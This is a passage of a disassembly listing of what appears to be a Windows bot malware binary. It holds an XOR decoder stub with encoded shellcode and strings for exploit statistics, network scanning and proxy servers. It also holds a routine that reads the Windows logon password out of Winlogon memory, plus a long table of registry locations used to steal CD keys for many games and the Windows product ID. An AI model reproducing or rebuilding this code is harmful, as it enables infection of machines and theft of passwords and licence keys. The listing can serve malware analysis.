40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 436EDCh, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 436EDCh, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 436EDCh, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 436EDCh, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 436EDCh, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 436EDCh, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 436EDCh, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 436EDCh, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 436EDCh, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 436EDCh, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 436EDCh, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al fsubr qword ptr [esi+43h] add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 436EDCh, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 436EDCh, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 436EDCh, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 436EDCh, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 436EDCh, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 436EDCh, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 436EDCh, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 436EDCh, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 436EDCh, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413643o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset byte_4E0049 dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 